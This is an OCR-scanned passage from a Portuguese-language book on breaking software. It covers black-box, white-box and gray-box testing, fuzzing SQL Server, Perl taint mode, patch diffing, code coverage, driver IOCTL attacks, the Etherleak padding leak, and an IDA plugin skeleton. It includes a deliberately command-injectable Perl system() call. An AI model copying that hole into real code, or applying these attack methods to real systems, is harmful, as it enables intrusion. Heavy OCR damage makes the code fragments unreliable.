0 teste de caixa-preta nao e tao eficiente quanto 0 teste de caixa-branca para conhecer o c6digo e seu comportamento, mas o teste de caixa-preta e muito mais H.cil de fazer e normalmente requer muito menos habilidade que o teste de caixa-branca. Durante o teste de caixa-preta, o analista tenta avaliar todos os caminhos internos importances do c6digo que podem ser influenciados diretamente e observados de fora do sistema. 0 teste de caixa-preta nao consegue fazer buscas completas no espa~o de entradas de urn programa devido a restri~oes te6ricas, mas o teste de caixa-preta age de forma mais parecida a urn ataque real ao software-alvo em urn ambiente operacional real, se comparado a urn teste de caixa-branca. Como o teste de caixa-preta aconrece em urn sistema em funcionamenro, ele costuma ser uma maneira eficiente de entender e avaliar os problemas de nega~ao de servi~o (DoS). Ja que o teste de caixa-preta consegue validar urn aplicativo dentro do ambiente de tempo de execut;lio (se possfvel), ele pode ser utilizado para determinar se uma possivel area problematica erealmente vulnenivel em urn sistema real de produ~ao.5 As vezes, os problemas que sao descobertos em uma analise de caixa-branca podem nao ser exploniveis em urn sistema real e distribuido. Urn firewall pode bloquear o ataque, por exemplo. 6 0 Hailstorm da Cenzic e uma plataforma de teste de caixa-preta comercialmente disponfvel para softwares em rede. Pode ser utilizado para analisar sistemas em funcionamento, procurando problemas de seguran~a. Para testar roteadores de rede e switches, ha dispositivos especiais de hardware, como SmartBits e IXIA. Uma ferramenta freeware chamada ISICS pode ser utilizada para testar a integridade da pilha de TCP/IP. PROTOS e Spike sao alguns dos sistemas de ataque de protocolo que utilizam tecnicas de caixa-preta.
Analise da calxa clnza A analise da caixa cinza [gray box] combina tecnicas de caixa-branca e teste de entradas de caixa-preta. As abordagens de caixa cinza normalmente requerem a utiliza<;ao de varias ferramentas em conjunto. Urn born exemplo de uma analise de caixa cinza simples e executar urn programa-alvo dentro de urn depurador e em seguida fornecer determinados conj untos de entradas ao programa. Dessa maneira, o programa e ativado enquanto 0 depurador e utilizado para detectar quaisquer falhas ou comportamentos defeituosos. 0 Purify da Rational e uma ferramenta comercial que pode fo.rnecer analise detalhada de tempo de execu<;ao focada na utiliza<;ao e consumo de memoria. Isso e particularmente importante para programas em C e C++ (nos quais ha grandes
5. 0 problema do teste de sistemas de prodw;ao em funcionamento e evidente. Urn teste bem-sucedido de nega\ao de servi\o derruba urn sistema de produ\ao, igual a um ataque real. Pela nossa experiencia, as empresas nao veem esse tipo de teste com bons olhos. 6. Entretanto, note que a analise de caixa-branca e uti! para testar como urn software ira se comportar em varios ambientes. Para o c6digo amplamente distribuido, esse tipo de teste e essencial.
Capitulo 3
Engenharia reversa e entendimento do programa
73
problemas de memoria). 0 Valgrind e urn depurador freeware que fornece analise de tempo de execu~ao para Linux. Todos os metodos de teste podem revelar posslveis riscos e explora~oes de software. A analise de caixa-branca identifica diretamente mais bugs, mas o risco real de explora~ao e diffcil de medir. A analise de caixa-preta identifica problemas reais que reconhecidamente sao explor:iveis. A utiliza~ao das tecnicas de caixa cinza combina os dois metodos de forma eficiente. Os testes de caixa-preta podem varrer programas em redes. Os testes de caixa-branca reguerem a analise estatica do c6digo-fonte ou binario. Em urn caso tipico, a analise de caixa-branca e utilizada para localizar possiveis areas problematicas; em seguida, 0 teste de caixa-preta e utilizado para desenvolver ataques funcionais contra essas areas.
Caixa preta
Caixa branca
Ambiente de tempo de execu~ao do software de auditoria Amea~as externas Nega~ao de servi~o Falha em cascara Polftica de seguran~a e filtros Scales e runs across rede corporativa lmportante para administradores de sistema/seguran~a
C6digo de software de auditoria Erros de programa~ao Requer o reposit6rio central do c6digo Importante para desenvolvedores e testadores
Urn dos problemas de guase todos os tipos de teste de seguran~a (independentemente de ser caixa-preta ou caixa-branca) e que nao ha problema nenhum. Ou seja, a maioria das organiza~oes de CQ se preocupa com o teste funcional e emprega pouco tempo para entender ou procurar riscos a seguran~a. De qualquer forma, o processo de CQ quase sempre e negligenciado na maioria das software houses (fabricantes de software) por causa de restri~oes de tempo e or~amento e a ideia de que a CQ nao e uma parte essencial de desenvolvimento de software. Conforme o software vai se tornando mais importante, mais enfase esta sendo dada ao gerenciamento da qualidade do software - uma abordagem unificada ao teste e aanalise que envolve seguranc;a, confiabilidade e desempenho. 0 gerenciamento da gualidade de software utiliza tecnicas de caixa-branca e caixa-preta para identificar e gerenciar riscos de software no ponto mais inicial possfvel do ciclo de vida do desenvolvimento de software.
74
Como quebrar c6digos
Utlllzando tecnlcas da calxa clnza para descobrlr vulnerabllldades no Microsoft SQL Server 7 As tecnicas de caixa cinza geralmente potencializam varias ferramentas. Daremos urn exemplo utilizando ferramentas de depurac;ao em tempo de execuc;ao combinadas com um gerador de entradas de caixa-preta. A utilizac;ao de ferramentas de detecc;ao de erro em tempo de execuc;ao e de depurac;ao e uma maneira eficiente de localizar o problema do software. Quando combinados a ferramentas de injec;ao de caixa-preta, os depuradores ajudam a detectar falhas de software. Em muitos casos, o desassembly do programa pode determinar as caracterfsticas exatas de urn bug de software como 0 que sera mostrado. 0 Purify da Rationale uma ferramenta muito poderosa que examina o software dinamicamente a medida que ele executa. Nesse exemplo, realizamos injec;ao de caixa-preta no Microsoft SQ L Server 7 como Hailstorm, monitorando o alvo, que estava utilizando o Purify. Ao combinar o Purify e o H ailstorm, o teste consegue descobrir urn problema de corrupc;ao de memoria que esta ocorrendo no SQL Server como resultado de uma entrada de protocolo malformada. A corrupc;ao tern como resultado uma excec;ao de software e, em seguida, uma falha. Para comec;ar, identifica-se urn ponte remote de entrada e no SQL Server. 0 servidor espera por conexoes na porta T CP/1433. 0 protocolo utilizado nessa porta, em grande parte, nao edocumentado. Em vez de aplicar engenharia reversa ao protocolo, cria-se urn teste simples que fornece entradas aleatorias intercaladas com seqi.iencias numericas. Esses dados sao reproduzidos na porta TCP. 0 resultado e a gerac;ao de muitas possfveis entradas "quase legais" para a porta, cobrindo urn ample espectro de valores de entrada. As entradas sao injetadas durante varies minutes em uma taxa de aproximadamente 20 por segundo. Os dados injetados passam por varios caminhos de c6digo dentro do software SQL Server. Esses locais, basicamente, leem o cabec;alho do protocolo. Em pouco tempo, o teste causa uma fa lha eo Purify indica que houve corrupc;ao de memoria. A captnra de tela da Figura 3.2 mostra o resultado da falha do SQL Server, o dump do Purify e a plataforma de teste do Hailstorm, tudo no mesmo Iugar. A corrupc;ao de memoria indicada pelo Purify ocorre antes do travamento do SQL Server. Embora o ataque cause uma queda do servidor, seria dificil de determinar o ponte de corrupc;ao de memoria sem a utilizac;ao do Purify. Os dados fornecidos pelo Purify permitem localizar o caminho exato no codigo que fa lhou. A detecc;ao dessa fa lha ocorre bem antes de uma explorac;ao real ter ocon·ido. Se quisessemos localizar essa explorac;ao utilizando somente ferramentas de caixa-preta, talvez levassemos dias tentando testes de entrada para poder causar o bug. A corrupc;ao que esta ocorrendo pode causar problema em urn local inteiramente diferente do codigo, dificultando muito a identificac;ao da sequencia de entrada que causa o erro. A ana.lise estatica pode ter detectado um problema de corrupc;ao de memoria, mas nunca seria capaz de determinar se o bug poderia ser explorado, na pratica, por urn
Figura 3.2: Capturas de tela do Hailstorm e do Purify sendo utilizados para investigar o software SQL Server, procurando problemas de seguran~a por meio do paradigma de caixa-preta.
invasor. Ao combinar as duas tecnologias como fizemos nesse exemplo, poupamos tempo e obtivemos uma situas;ao ideal.
Metodos do reversor Ha varios metodos que podem ser utilizados ao aplicar engenharia reversa ao software. Cada urn deles tern seus beneffcios e requisites de tempo e recursos. Uma abordagem tfpica utiliza uma mistura de metodos para descompilar e examinar o software. A melhor mistura de metodos depende totalmente dos objetivos. Por exemplo, voce pode pr imeiramente executar uma rapida varredura no c6digo, procurando vulnerabilidades 6bvias. Em seguida, voce pode fazer urn rastreamento detalhado das entradas nos dados fornecidos pelo usuario. Talvez voce nao tenha tempo de rastrear todos os caminhos; sendo assim, voce pode utilizar breakpoints complexes e outras ferramentas para apressar o processo. Veja a seguir uma breve descris;ao de varios metodos basicos. Rastreamento de entrada 0 rastreamento da entrada e o mais complete de todos metodos. Primeiro, voce identifica os pontos de entrada no c6digo. Os pontos de entrada sao lugares onde os dados fornecidos pelo usuario sao entregues ao programa. Po.r exemplo, uma chama-
76
Como quebrar c6digos
da de WSARecvFrom() recupera urn pacote de rede. Essa chamada, basicamente, aceita dados fornecidos pelo usuario a partir da rede e os coloca em urn buffer. Voce pode configurar urn breakpoint (ponto de interrup~ao) no ponto de entrada e fazer urn rastreamento passo a passo no programa. Naturalmente, as ferramentas de depura~ao devem sempre incluir lapis e papel. Voce deve anotar cada detalhe do caminho do c6digo. Essa abordagem e muito tediosa, mas tambem e muito abrangente. Embora seja muito demorado determinar todos os pontos de entrada quando se faz isso a mao, voce tern a oportunidade de anotar cada local de c6digo que toma decisoes baseadas nos dados fornecidos pelo usm\rio. Utilizando esse metodo voce pode localizar problemas muito complexos. Uma das linguagens que protege contra esse tipo de ataque que "enxerga atraves das entradas" e o Perl. 0 Perl tern urn modo especial de seguran~a chamado taint mode (modo de execu~ao segura de c6digos Perl). 0 taint mode utiliza uma combina~ao de verifica~oes estaticas e dinamicas para monitorar todas as informa~oes que vern de fora do programa (como entradas do usuario, argumentos de programa e variaveis de ambiente) e emite advertencias quando o programa tenta fazer algo potencialmente perigoso com informa~oes nao-confiaveis. Considere o seguinte script: #!/usr/bin/perl -T Susername = ; chop $username; system ("cat /usr/stats/$username");
Ao executar esse script, o Perl entra no taint mode por causa da op~ao - T passada na linha de chamada, na parte superior (geralmente primeira linha do script). Em seguida, o Perl tenta compilar o programa. 0 taint mode ira notar que o programador nao inicializou explicitamente a variavel PATH, mas tenta mesmo assim chamar urn programa que utiliza o shell, que pode ser explorado facilmente. Ele emite urn erro como o apresentado a seguir, antes de abortar a compila~ao: Insecure $ENV{PATH} while running with -T switch at ./catform.pl line 4, chunk 1.
Podemos modificar o script para definir o caminho do programa de modo expllcito com algum valor segu.ro na inicializa~ao: #!/usr/bin/perl -T use strict; $ENV{PATH} =join ':' -> split (" /usr/bin /bin __ EOPATH __
. ,<<
my $username = ; chop $username; system ("cat /usr/stats/$username");
'_EOPATH__ ');
Capitulo 3
Engenharia reversa e entendimento do programa
77
Agora o taint mode determina que a varia vel $username seja controlada externamente e nao seja confiavel. Ele determina que, ja que $use rname pode ser envenenada, a chamada para system pode ser envenenada. Portanto, ele da outro erro: Insecure dependency in system while running with -T switch at ./catform.pl line 9, chunk 1.
Mesmo se fossemos copiar $username para out.ra variavel, o taint mode detecta.ria o problema da mesma forma. No exemplo anterior, o taint mode "reclama" porque a variavel pode uti lizar urn shell magico para executar o comando. Porem, o taint mode nao detecta todas as possfveis vulnerabilidades de entrada e, portanto, urn invasor esperto ainda pode ter sucesso utilizando o nosso metodo baseado em entrada. A analise avan~ada de fluxo de dados tambem e util para ajudar a proteger contra o nosso metodo de ataque (ou ajudar a executa-lo). As ferramentas de analise estatica podem ajudar o analista (ou invasor) a identificar todos os possfveis pontos de entrada e determinar quais variaveis sao afetadas a partir de fora. A literatura da pesquisa sobre seguran~a e cheia de referencias sobre o "fluxo seguro de informa~6es" que uti liza a analise de fluxo de dados para determinar a seguran~a do programa. Explorando as dlferen~as entre as versoes Ao estudar urn sistema para localizar pontos fracos, lembre-se de que o fabricante do software corrige varios bugs em cada versiio. Em alguns casos o fabricante pode fornecer urn "hot fix" ou urn patch que atualiza os bimirios do sistema. Eextremamente importante observar as diferen~as entre versoes do software. As diferen~as entre versoes sao, basicamente, mapas de ataque. Quando ha uma nova versao do software ou especi fica~ao de protocolo disponfvel, e quase cerro que os pontos fracos ou bugs tenham sido corrigidos (caso tenham sido descobertos). Mesmo quando a lista de corre~6es nao e divulgada, voce pode comparar OS arquivos binarios da versiio mais ant iga com os arquivos novos. As diferen~as podem ser descobertas nos pontos em que recursos foram adicionados ou bugs foram corrigidos. Portanto, essas diferen~as revelam dicas importantes sobre onde procurar vulnerabilidades. Utlllzando a cobertura de codlgo A quebra de urn sistema de computador tern muito de processo cientifico e tambem muito de arte. Na verdade, o conhecimento do metodo cientifico da ao invasor uma vantagem em urn jogo que, de outra forma, seria decidido na sorte. 0 metodo cientffico inicia com a medi ~ao. Sem a capacidade de medir o ambiente, como voce pode tirar conclus6es sobre ele? A maioria das abordagens consideradas nesse texto e projetada para localizar defeitos de prograrna~iio . Geralmente (mas nem sempre), os bugs localizados dessa maneira se limitam a regi6es pequenas do c6digo. Em outras
78
Como quebrar c6digos
palavras, geralmente buscamos OS pequenos errOS de codifica<;aO. Esse e urn dos mOtiVOS pelos quais as novas ferramentas de desenvolvimento tern grande possibilidade de irnpedir muitos dos metodos convencionais de ataque. Para uma ferramenta de desenvolvimento, e facil identificar urn erro simples de prograrna<;ao (estaticamente) eo compilar. Daqui a alguns anos, os buffer overflows estarao obsoletes como metodo de ataque. Todas as tecnicas que descrevemos sa.o uma forma de medi<;ao. Observamos o comportamento do programa enquanto e executado de alguma forma {por exemplo, colocado sob estresse). 0 comportamento estranho geralmente indica instabilidade do c6digo. E' rnuito provavel que o c6digo instavel tenha pontos fracos na seguran<;a. A medi<;ao eo segredo. A cobertura do c6digo eurn tipo irnportante de medida- talvez o rnais irnportante. A cobertura do c6digo (code coverage) uma rnaneira de observar urn programa ser executado e determinar os caminhos do c6digo que foram utilizados. Ha muitas ferramentas disponiveis para analisar a cobertura de c6digo. As ferramentas de cobertura de c6digo nem sempre requerem o c6digo-fonte. Algumas ferramentas podem se conectar a urn processo e coletar as medi<;oes em tempo real. Por exemplo: confira a ferramenta dyninstAPI da Universidade de Maryland (criada por Jeff Hollingsworth) 7 • Do ponto de vista do invasor, a cobertura de c6digo informa quanto trabalho ainda tern de ser feito ao analisar o panorama. Utilizando a analise de cobertura, voce pode ver imediatamente o que passou batido. Os programas de computador sao complexes e quebra-los e uma tarefa tediosa. 0 ato de pular partes do c6digo e tomar atalhos faz parte da natureza humana. A cobertura de c6digo pode mostrar se alguma coisa passou despercebida. Se voce pulou uma sub-rotina porque ela parecia inofensiva ... pense bern! A cobertura de c6digo pode ajuda-Io a voltar e verificar seu trabalho, passando pelos becos escuros que voce nao percebeu na primeira vez. Ao tentar quebrar software, voce come<;a, mais provavelmente, com o ponto de entrada do usuario. Por exemplo: considere uma charnada para WSARecv(). 8 Utilizando urn rastreamento de fora para dentro, voce pode medir os caminhos do c6digo que sao visitados. Varias decisoes sao feitas pelo c6digo depois que a entrada do usuario aceita. Essas decisoes sao implementadas como instru<;oes de desvio, como as instru<;oes JNZ e JE de desvio condicional no c6digo de maquina x86. A ferramenta de cobertura de c6digo pode detectar quando urn desvio esta para ocorrer e pode criar urn mapa de cada bloco continuo de c6digo de maquina. Isso significa que voce, como invasor, pode determinar instantaneamente quais caminhos de c6digo nao foram utilizados durante sua analise.
e
e
7. A ferramenra dyninstAPI pode ser enconrrada em http://www.dyninst.org/. 8. A fun<;ao de WSARecv recebe dados de um socket conecrado. Consulte http://msdn.microsofr-.com/ I ibra ry/de fa ult.as p ?uri =IIi bra ry/en-us/winsock/wi nsock/wsarecv_2.a sp.
Capitulo 3
Engenharia reversa e entendimento do programa
79
Os engenheiros de reversao sabem que o trabalho deles e Iongo e tedioso. A utiliza~ao da cobertura de codigo da ao engenheiro de reversao "esperto" um mapa para monitorar o progresso. Tal monitoramento pode facilitar a sua vida e permitir que voce continue em situa~oes nas quais, de outra forma, voce desistiria sem explorar todas as oportunidades. A cobertura de codigo e ferramenta tao importance para o seu arsenal que, mais adiante no capitulo, mostraremos como se pode construir uma ferramenta de cobertura de codigo come~ando do zero. No exemplo, enfocamos a linguagem Assembly no x86 e no Windows XP. Nossa experiencia nos leva a crer que voce teni dificuldade em encontrar a ferramenta de cobertura de codigo perfeita para suas necessidades exatas. Muitas das ferramentas dispon1veis, comercialmente ou nao, nao tern os recursos de ataque nem os metodos de visual i za~ao de dados que sao importances para . o mvasor. Acessando o kernel Controles de acesso inadequados em handles abertos por drivers podem expor urn sistema a ataques. Caso voce encontre urn driver de dispositive com urn handle desprotegido, talvez voce consiga executar comandos IOCTL para o driver de kernel. Dependendo dos suportes de driver, voce pode conseguir travar a maquina Oll obter acesso ao kernel. Toda entrada para o driver que inclui enderec;os de memoria deve ser imediatamente testada inserindo valores NULL. Outra op~ao e inserir endere~os que mapeiam para a memoria do kernel. Se o driver nao faz uma verifica~ao da "sanidade" dos valores fornecidos no modo de usuario, a memoria do kernel pode ficar malformada. Se o ataque for muito bem-feito, o estado global do kernel pode ser modificado, alterando as perrnissoes de acesso. Vazamento de dados em buffers compartlhados 0 compartilhamento de buffers e semelhante ao compartilhamento de alimentos. Espera-se que os restaurantes tenham regras rfgidas sobre o armazenamento de carne crua. Urn pouco de residuo de carne crua que cai na comida de alguem pode causar uma doen~a e um processo judicial. Um programa normal tem varios buffers. Os programas tendem a reutilizar os mesmos buffers repetidamente, mas, sob o nosso ponto de vista, as questoes sao as seguintes: Eles serao limpos? Os dados sujos ficam separados dos dados limpos? Os buffers sao um otimo Iugar para come~ar a procurar possfveis vazamentos de dados. Todo buffer que seja utilizado para dados publicos e privados tern possibilidade de vazar inforrna<;oes. Os ataques que causarn corrup~ao de estado e/ou race conditions (condi~oes de concorrencia) podem ser utilizados para fazer com que os dados privados vazem para os dados publicos. Toda utiliza<;ao de buffer sem limpar os dados entre as utiliza~oes leva a possfveis vazamentos.
80
Como quebrar c6digos
Exemplo: 0 problema da limpeza de buffer Ethernet Urn destes autores (Hoglund) descobriu ha alguns anos, junto com outros, uma vulnerabilidade que pode afetar milhoes de placas de ethernet no mundo todo. 9 As placas ethernet utilizam conjuntos de chips-padrao para se conectar a rede. Esses chips sao, na verdade, OS "pneus" da Internet. 0 problema e que varios desses chips estao vazando dados entre pacotes. 0 problema existe porque os dados sao armazenados em urn buffer no microchip de ethernet. A quantidade minima de dados que deve ser enviada em urn pacote de , ethernet e66 bytes. Eo tamanho mfnimo do quadro [frame]. Mas varios pacotes que precisam ser transmitidos sao, na verdade, muito menores que 66 bytes. Os pacotes pequenos de ping e as solicita~6es ARP sao exemplos disso. Esses pacotes pequenos, portanto, sao preenchidos com dados para chegar ao numero mfnimo de 66 bytes. Quale 0 problema? Varios chips nao limpam OS buffers entre urn pacote e outro. Portanto, o pacote pequeno e preenchido com qualquer coisa que o ultimo pacote tenha deixado no buffer. Isso significa que os pacotes de outras pessoas estao vazando para urn possfvel pacote de ataque. Esse ataque e facil de explorar e funciona em ambientes comutados. Urn ataque pode enviar urn monte de pacotes pequenos que solicitam urn pacote pequeno como uma resposta. Conforme os pacotes pequenos de resposta vao chegando, o invasor analisa os dados de preenchimento para ver os dados de pacote de outras pessoas. Naturalmente, alguns dados sao perdidos nesse ataque, porque a primeira parte de cada pacote e sobrescrita com os dados legftimos da resposta. Enrao, o invasor geralmente cria urn pacote com o menor tamanho possivel para sifonar o fluxo de dados. Os pacotes de ping funcionam bern com esse objetivo e permitem que urn invasor capture as senhas nao-criptografadas e ate mesmo partes das chaves de criptografia. Os pacotes ARP sao menores ainda, mas nao funcionam como um ataque remoto. Usando pacotes ARP, o invasor pode obter numeros de TCP ACK de outras sess6es na resposta. Isso ajuda em urn ataque-padrao de sequestro de TCP/IP
(TCPIIP hijacking). 10 Audltando as falhas dos requlsltos de acesso A falta de planejamento ou pregui~a por parte dos engenheiros de software costuma dar origem a programas que requerem acesso de administrador ou de root para funcionar.H Varios programas que foram atualizados a partir de ambientes Windows mais antigos para operar em Win2K e Windows XP geralmente requerem acesso total
9. Essa vulnerabilidade foi lanc;ada rna is tarde de forma independente como "Etherleak vulnerability." Consulte http://archives.neohapsis.com/archives/vulnwatch/2003-ql/0016.html para mais informac;oes. 10. Veja Firewalls and Internet Security [Cheswick et al., 2003) para saber mais sobre sequestro de TCP/JP. 11. Para saber rna is sobre esse problema comum e sobre como evini-lo, consulte Building Secure Software [Viega e McGraw, 2001).
Capitulo 3
Engenharia reversa e entendimento do programa
81
ao sistema. Isso nao seria urn problema se OS programas que operam dessa maneira nao tendessem a deixar por af varios arquivos que podem ser acessados pelo mundo todo. Procure diretorios onde os arquivos de dados de usmirio estao sendo armazenados. Pergunte a voce mesmo: "Esses diret6rios tambem estao armazenando dados confidenciais"? Se esriverem, a permissao do diret6rio e fraca? Isso se aplica tanto ao registro de NT quanto a opera~6es de banco de dados. Se urn invasor substitui uma DLL ou altera as configura<;6es de urn programa, ele pode conseguir elevar o acesso e dominar o sistema. No Windows NT, procure chamadas abertas que solicitam ou criam recursos sem restri<;6es de acesso. 0 excesso de requisitos de acesso da origem a permiss6es inseguras de arquivo e objeto. Utllizando os recursos de sua API
Varias chamadas de sistema reconhecidamente levam a possfveis vulnerabilidades [Viega e McGraw, 2001 ]. Urn born metodo de ataque ao aplicar engenharia reversa e procurar chamadas conhecidas que sao problematicas (incluindo, por exemplo, a famigerada strcpy() ). Felizmente, ha ferramentas que podem ajudar. 12 A Figura 3.3 e uma captura de tela que mostra o APISPY32 capturando todas as chamadas a strcpy em urn sistema-alva. N6s utilizamos a ferramenta APISPY32 para capturar uma serie de chamadas lstrcpy do Microsoft SQL Server. Nem todas as chamadas a strcpy sao vulneraveis ao buffer overflow, mas algumas sao. 0 APISPY e muito facil de configurar. Voce pode fazer download do programa em www.internals.com. Crie urn arquivo especial chamado APISpy32.api e coloqueo no diret6rio WINNT ou Windows. Neste exemplo, utilizamos as seguintes definis:oes no arquivo de configuras:ao: KERNEL32 .DLL :lstrcpy(P$TR, KERNEL32.DLL:lstrcpyA(P$TR, KERNEL32.DLL:lstrcat(PSTR, KERNEL32.DLL:lstrcatA(PSTR, \~SOCK32. DLL: recv WS2_32.DLL:recv
PSTR) PSTR) PSTR) PSTR)
ADVAPI32.DLL:SetSecurityDescriptorDACl(DI~RD.
DWORD,
~RD.
DWORD)
Esse procedimento configura o APISPY para procurar algumas chamadas de fun~ao nas quais estamos interessados. Ao testar, e muito conveniente identificar chamadas de API potencialmente vulneraveis, bern como toda chamada que aceite entradas de usuario. A tarefa de engenharia reversa vern no meio disso. Se voce conseguir determinar que os dados de entrada conseguem chegar a chamada da API vulnercivel, voce terci encontrado uma forma de entrar. 12. A Cigital tern urn banco de dados de regras de analise estatica relativas aseguran<;a. Ha rnais de 550 entradas sornente sobre C e C++. As ferrarnentas de analise estatica utilizarn essas inforrna<;oes para descobrir possfveis vulnerabilidades no software (uma abordagem que tambem funciona para a explora~ao de software, da mesma forma que atua na melhora do software).
OxOOOODb l 8 Ox00000b l 8 OX00000bl 8 Ox00000bl 8 Ox00000b18 Ox00000b16 OxOOOOOb18 Ox00000b! 8 Ox00000b18 Ox00000b18 OxOOOOOb18 OxOOOOOb! B Ox00000b18 Ox00000b18 Ox00000b18 Ox00000b16 OxOOOOOb16 Ox00000b16 Ox00000b16 Ox00000b18 OxOOOOOb18 OxOOOOOb18 OxOOOOOb16 Ox00000b18 Ox00000b16 Ox00000b16 Ox00000b18 OxOOOOOb LS Ox00000b l 8 Ox00000b l 8 0x0()000b18 Ox00000b l 8 Ox00000b18
lstrcpy(PSTR :Oxcc8d8:"", PSTR: Oxd2e730:"~nTapiPerformMceD&a") lstrcpy returned Oxcc8d8 lstrcpy(PSTR:OxccafO:"", PSTR:Oxd2e834:"Collect TapiPerformanceO&a") lstrcpy returned OxccSFO lstrcpy(PSTR:Oxcc910:"", PSTR:Oxd2e62c:·~eTapiPerformanceO&a") lstrcpy returned Oxcc910 lstrcpy(PSTR:Oxcd138:"", PSTR:Oxd2e730:"0penTcplpPerformanceOata") lstrcpy returned Oxcd 138 lstrcpy(PSTR:Oxcdl 58:"", PSTR:Oxd2e834:"ColectTcplpPerforrMnceMa") lstrcpy returned Oxcd158 lstrcpy(PSTR:Oxcdl 78:"", PSTR:Oxd2e62c:"CioseTcplpPerformanceData") lstrcpy returned Oxcd 178 lstrcpy(PSTR :Oxcd690: "", PSTR:Oxd2e730:"0pen TSObject'') lstrcpy returned Oxcd690 lstrcpy(PSTR:Oxcd6a0:"", PSTR:Oxd2e834:"ColectTSObjectData") lstrcpy returned Oxcd6a0 lstrcpy(PSTR:Oxcd6b8:"", PSTR:Oxd2e62c:"CioseTSObject") lstrcpy returned Oxcd6b6 lstrcpy(P5TR:Oxcd8e8:"", PSTR:Oxd2e730:"WmiOpenPerfOata") lstrcpy returned Oxcd8e8 lstrcpy(PSTR:Oxcd8f8:"", PSTR:Oxd2e83'1:"WmiCollectPerfData'') lstrcpy returned Oxcd8FB lstrcpy(PSTR:Oxcd910: "", PSTR:Oxd2e62c :"WmiCiosePerfOata") lstrcpy returned Oxcd910 lstrcpy(PSTR:Oxl9febec:"P", PSTR: Ox71llb7bec :"WinSock 2 ,Q'') lstrcpy returned Ox 19febec lstrcpy(PSTR:Oxl9feced:"", PSTR:Ox71ab7be4:"Running") lstrcpy returned Ox 19feced lstrcpy(PSTR:Oxdd7bc:"", PSTR:Oxdd8c8:"%5ystemRoot%\system32\mswsock.dll") lstrcpy returned Oxdd7bc lstrcpy(PSTR:Oxddecc:"", PSTR:Oxdd8c8:"%5ystemRoot%\system32\mswsock.dll") lstrcpy returned Oxddecc lstrcov(PSTR:Oxde25c:"", PSTR:Oxdd8c8:"%5vstemRoot%\svstem32\mswsock.dll")
v
Figura 3.3: Pode-se utilizar o APISPY32 para localizar chamadas 1strcpy() no c6digo do SQL Server. Essa captura de tela mostra os resultados de uma consulta.
Escrevendo plugins para o IDA (Interactive Disassembler) IDA e a abrevia~ao de Interactive Disassembler (disponivel em www.datarescue.com), que e uma das ferramentas mais conhecidas de engenharia reversa para software. 0 IDA da suporte a m6dulos de plugin para que os clientes ampliem a funcionalidade e automatizem as tarefas. Para este livro, criamos um plugin simples de IDA que pode fazer a varredura de dois arquivos binarios e compara-los. 0 plugin destacan1 todas as regioes de c6digo que foram alteradas. Isso pode ser utilizado para comparar um executa vel de pre-patch com um executavel de p6s·patch para determinar as lin has de c6digo q ue foram corrigidas. Em muitos casos, fornecedores de software corrigem "secretamente" os bugs de seguran~a. A ferramenta que fornecemos aqui pode ajudar urn invasor a localizar esses patches secretos. Tenha em mente que esse plugin pode indicar varios locais que nao foram alterados. Se as op~oes de compilador ou o preenchimento entre fun~oes forem alterados, o plugin retornani um belo conjunto de falsos positives. Contudo, esse e um excelente exemplo que mostra como come~ar a criar plugins de IDA.
Capitulo 3
Engenharia reversa e entendimento do programa
83
0 exemplo tambem enfatiza o maior problema da seguran~a no estilo "penetrar e aplicar patch". Os patches sao, na verdade, mapas de ataque, e os invasores espertos sabem le-los. Para utilizar esse c6digo, voce precisa do kit de desenvolvimento de software de IDA (SDK), que esta disponfvel juntamente com o IDA. 0 c6digo e comentado inline. Esses sao arquivos de cabe~alho (header files) padrao. Dependendo das chamadas de API que voce pretende utilizar, pode ser necessario incluir outros arquivos de cabe~alho. Observe que desativamos uma certa mensagem de advertencia e incluimos tambem o arquivo de cabe~alho de Windows. Ao fazer isso, conseguimos utilizar as interfaces graficas como usuario (GUI) do Windows para apresentar caixas de dialogo, etc. A advertencia 4273 e emitida quando voce utiliza a bibliotecapadrao de modelos; e costuma-se desativa-la. #include #pragma warning( disable:4273 #include #include #include #include #include #include
)
Como o nosso plugin e baseado em urn plugin de exemplo fornecido juntamente com o SDK, o c6digo a seguir simplesmente faz parte do exemplo. Estas sao as fun~oes obrigat6rias e os comentarios que ja faziam parte do exemplo. ll-------------------------------------------------------------------------11 Esse callback e chamado para eventos de notifica~ao de UI. static int sample_callback(void * l*user_data*l , int event_id, va_list l*va*l) {
if ( event_id != ui_msg ) II Evita recursao. if ( event_id != ui _setstate && event_id = ui _showauto && event_id = ui _refreshmarked ) II Ignora eventos desinteressantes msg("ui_callback %d\n", event_id); I I 0 si gni fica "processe o evento" ; return 0; II caso contrario , o evento seria ignorado. }
11-------------------------------------------------------------------------II Exemplo de como gerar prefixes de linha def inidos pelo usuario static const int prefix_width = 8;
static void get_user_defined_prefix(ea_t ea, int lnnum, int indent, const char *line, char *buf, size_t bufsize)
84
Como quebrar c6digos
{
buf[0]
=
'\0';
II Prefixo vazio por padrao
II Queremos exibir o prefixo somente nas linhas que II contem a instru~ao em si. if if
( (
if ( if (
indent != - 1 ) return; II Uma diretiva line[0] - '\0' ) return; II linha vazia <,1i ne = COLOR_ON ) line += 2; *line -- ash.cmnt[0] ) return; II linha de comentario.
.
II Nao queremos que o prefixo seja impresso novamente em outras linhas da II mesma instru~aoldados . Para isso, lembramos o numero da linha II e o comparamos antes de gerar o prefixo. static ea_t old_ea = BADADDR; stat ic int old_lnnum ; if ( old_ea == ea && old_lnnum
1nnum ) return;
II Vamos exibir o tamanho do item atual como o prefixo definido pelo usuario. ulong our_size = get_item_size(ea); II Parece ser uma linha de instru~ao. Nao nos preocupamos com a largura II porque ela sera preenchida com espa~os pelo kernel . snprintf(buf, bufsize, "%d", our_size); II Lembre-se do endere~o e do numero da linha para a qual produzimos o prefixo. old_ea = ea; old_lnnum = lnnum; }
11-------------------------------------------------------------------------II I I Ini ci aliza.
II II 0 IDA chamara essa II
II II II
II II II
II II II
somente uma vez. Se essa fun~ao retornar PLGUIN_SKIP, o IDA nao a carregara nunca mais. Se a fun~ao retornar PLUGIN_OK, o IDA descarregara o plugin, mas lembre-se de que o plugin concordou em trabalhar com o banco de dados. 0 plugin sera carregado novamente se o usuario invoca-lo pressionando a tecla de atalho ou selecionando-o no menu. Depois da segunda carga, o plugin permanecera na mem6ria. Se essa fun~ao retornar PLUGIN_KEEP, o IDA mantera o plugin na memoria. Nesse caso, a fun~ao de inicializa~ao pode vincular-se (hook) ao modul o de processador e aos pontos de notifica~ao da interface com o usuario . Consulte a fun~ao hook_to_notification_point () . fun~ao
II II Nesse exemplo, verificamos o formato do arqui vo de entrada e tomamos a decisao.
Capitulo 3
85
Engenharia reversa e entendimento do programa
II Voce pode verificar (ou nao) as outras condi~oes para decidir o que fazer, II se concordar em trabalhar com o banco de dados. II int init(void) {
